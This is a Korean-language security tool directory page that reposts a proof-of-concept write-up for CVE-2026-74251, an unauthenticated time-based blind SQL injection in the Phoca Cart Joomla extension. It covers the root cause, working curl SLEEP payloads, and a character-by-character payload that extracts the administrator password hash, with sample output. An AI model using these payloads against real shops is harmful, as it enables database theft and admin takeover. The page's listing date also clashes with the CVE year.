Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-74251 — Phoca Cart의 속성 필터를 통한 인증되지 않은 SQL 인젝션 - CVSS 9.3 | Kitploit
도구/GitHubGitHub/toanln-cov/cve-2026-74251
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityDatabase Security
GitHubtoanln-cov/cve-2026-74251

CVE-2026-74251

Phoca Cart의 속성 필터를 통한 인증되지 않은 SQL 인젝션 - CVSS 9.3

저장소 보기
923일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Phoca Cart의 속성 필터를 통한 비인증 SQL 인젝션

Phoca Cart ≤ 6.1.6 — 비인증 공격자가 시간 기반 블라인드 인젝션으로 전체 데이터베이스 추출

CVE CVSS v4.0 CWE-89 Affected Researcher


요약

Phoca Cart의 공개 상점 아이템 페이지에서 a[](속성) 및 s[](사양) GET 배열 매개변수가 파라미터화나 이스케이프 없이 SQL WHERE 절에 원시 형태로 연결됩니다. 비인증 공격자는 이러한 매개변수를 통해 임의의 SQL을 주입할 수 있으며, 시간 기반 블라인드 기법으로 전체 데이터베이스를 추출할 수 있습니다.

취약점은 admin/libraries/phocacart/search/search.php 내부의 에 존재합니다. 이 함수는 목록을 구성하기 전에 를 호출하지만 결과 값을 이스케이프하지 않습니다. 따라서 쉼표가 없는 페이로드는 SQL 쿼리에 그대로 전달됩니다. 는 요청당 두 번 호출되므로( + ) 페이로드는 초의 관측 가능한 지연을 유발하여 타이밍 탐지를 매우 신뢰할 수 있게 만듭니다.

getSqlPartsArray()
IN()
explode(',', $v)
getItemListQuery()
getTotal()
getItemList()
SLEEP(N)
2×N

영향을 받는 버전

구성 요소취약 버전테스트 환경수정 버전
Phoca Cart (com_phocacart)5.0.0 – 6.1.6Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache)6.1.7

취약점 세부 정보

유형: SQL 인젝션 — 시간 기반 블라인드 (CWE-89) 인증 요구 사항: 없음 — 공개적으로 접근 가능한 엔드포인트 파일: admin/libraries/phocacart/search/search.php

근본 원인

아이템 모델은 HTTP 요청에서 a[] 및 s[] 매개변수를 정화(sanitization) 과정 없이 직접 읽습니다:

SITE/MODELS/ITEMS.PHP — 92–93행

root@kitploit:~
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET

이 값들은 getSqlPartsArray()로 전달되며, 이 함수는 각 값을 쉼표로 분할한 후 결과 조각을 SQL IN() 절에 직접 삽입합니다:

SEARCH.PHP — GETSQLPARTSARRAY() 318–363행 (취약)

root@kitploit:~
foreach ($value as $k => $v) {
    $a = explode(',', $v);        // splits on comma — but does NOT escape
    $a = array_unique($a);
    if ($k && $v) {
        if ($searchArea == 'a') {
            // ANY method — $a values are NOT escaped before implode:
            $inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
                . '\'' . implode('\',\'', $a) . '\''   // ← raw user input injected here
                . '))';

            // ALL method — $v2 injected raw into double-quoted context:
            foreach ($a as $v2) {
                $inAS[$iA] = 'at2.alias = ' . $db->quote($k)
                    . ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
                $iA++;
            }
        }
        else if ($searchArea == 's') {
            // specification filter — same pattern, same flaw:
            $inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
                . '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
        }
    }
}

결과 SQL 조각은 기본 쿼리에 삽입됩니다:

root@kitploit:~
a.id IN (
  SELECT at2.product_id FROM #__phocacart_attributes AS at2
  LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
  WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
  GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)

filter.php의 getActiveFilterValues()는 표시 계층을 위해 a[]/s[] 값에 filterValue($item, 'alphanumeric')을 적용합니다. 그러나 getSqlPartsArray()는 동일한 매개변수를 $app->getInput()->get('a', '', 'array')에서 정화를 전혀 적용하지 않은 채 새로 읽어들이므로 표시 계층 보호를 완전히 우회합니다.


개념 증명

인증이 필요 없습니다. 아이템 뷰(/index.php?option=com_phocacart&view=items)는 공개적으로 접근 가능합니다. 상점에 속성이나 사양을 구성할 필요가 없습니다.

1. 기준 측정 — 정상 응답 시간 확인

비인증 사용자는 자격 증명 없이 쇼핑 포털에 접근할 수 있습니다.

Phoca Cart 쇼핑 포털에 비인증 접근하여 아이템 목록이 표시된 화면

Burp Suite에서 캡처한 원시 요청 — 기준 응답 시간: 76ms.

Burp Suite에서 쇼핑 페이지로 보낸 기준 GET 요청 — 응답 시간 76ms

2. 시간 지연을 통한 SQL 인젝션 확인 — 속성 필터(a[])

a[color] 매개변수를 통해 SLEEP(3) 페이로드가 주입됩니다. getItemListQuery()는 요청당 두 번 호출되므로 예상 지연은 2 × 3 = 6s입니다. 관측 결과: 7085ms — 확인됨.

root@kitploit:~
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"
# Result: 7.085s — CONFIRMED

# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
  "http://TARGET/index.php"

Burp Suite에서 이중 SLEEP(3)을 확인하는 SQLi 페이로드 — 응답 시간 7085ms

3. SLEEP(0)로 확인 — 빠른 응답

SLEEP(3)을 SLEEP(0)으로 바꾸면 즉시 응답합니다(1064ms). 이를 통해 지연이 네트워크 상태가 아니라 주입된 SLEEP에 의한 것임을 확인할 수 있습니다.

Burp Suite에서 SLEEP(0) 페이로드가 1064ms로 빠르게 응답하는 모습

4. 타이밍 오라클을 통한 문자 단위 데이터 추출

관리자 bcrypt 해시를 한 번에 한 바이트씩 추출합니다. 중요한 제약 사항: explode(',', $v)는 SQL을 구성하기 전에 쉼표로 분할하므로, 페이로드는 쉼표 잘림을 피하기 위해 SUBSTRING(str FROM pos FOR len)(ANSI 키워드 구문)을 사용해야 하며, IF() 대신 CASE WHEN ... THEN ... ELSE ... END를 사용해야 합니다.

root@kitploit:~
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match

PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"

curl -s -o /dev/null -w "%{time_total}s\n" -G \
  --data-urlencode "option=com_phocacart" \
  --data-urlencode "view=items" \
  --data-urlencode "a[color]=$PAYLOAD" \
  "http://TARGET/index.php"

랩 검증 — 관리자 bcrypt 해시의 처음 12자:

위치문자ASCII응답일치
1$36>6s✓
2250>6s✓
3y121>6s✓
4$36>6s✓
5149>6s✓
6048>6s✓
7$36>6s✓
8L76>6s✓
9N78>6s✓
10v118>6s✓
11t116>6s✓
.........>6s✓

추출된 접두어 $2y$10$LNvt... — 전체 60자 bcrypt 해시는 약 240회의 요청으로 복구할 수 있습니다.

5. 자동화된 추출 — 익스플로잇 스크립트를 통한 전체 관리자 해시 덤프

포함된 exploit.py 스크립트는 위와 동일한 시간 기반 기법을 사용하여 수동 반복 없이 전체 관리자 비밀번호 해시를 자동으로 추출합니다.

root@kitploit:~
python exploit.py http://TARGET

익스플로잇 스크립트 출력 — 인증 없이 추출된 전체 관리자 bcrypt 해시


영향

  1. 인증 없는 전체 데이터베이스 읽기 — 데이터베이스에 저장된 Joomla 사용자 자격 증명(bcrypt 해시 + 이메일), 주문 기록, 결제 메타데이터, 고객 개인정보(PII), API 키는 비인증 공격자도 완전히 접근할 수 있습니다.
  2. 관리자 계정 탈취 — 관리자 비밀번호 해시를 추출하여 오프라인으로 크래킹하면 Joomla 관리자 전체 접근 권한을 얻을 수 있으며, 템플릿 또는 플러그인 업로드를 통한 원격 코드 실행도 가능해집니다.
  3. 사전 조건 없음 — 모든 Phoca Cart 설치에 영향 — 취약한 엔드포인트는 공개 상점 목록 페이지입니다. 속성이나 사양을 구성할 필요가 없습니다. com_phocacart가 설치되어 있고 공개 프런트엔드가 있는 모든 사이트가 공격에 노출됩니다.
  4. 데이터베이스 쓰기 가능성 — MariaDB PDO 에뮬레이션에서 스택 쿼리가 활성화된 경우, 공격자는 새 관리자 계정 생성이나 주문 기록 수정을 포함한 임의의 INSERT / UPDATE / DELETE 문을 실행할 수 있습니다.

참조

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74251
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74251
  • GitHub 보안 권고: https://github.com/advisories/GHSA-wgm5-xp28-5cmg
  • 공급업체 저장소: https://github.com/PhocaDesign/PhocaCart
도구 다운로드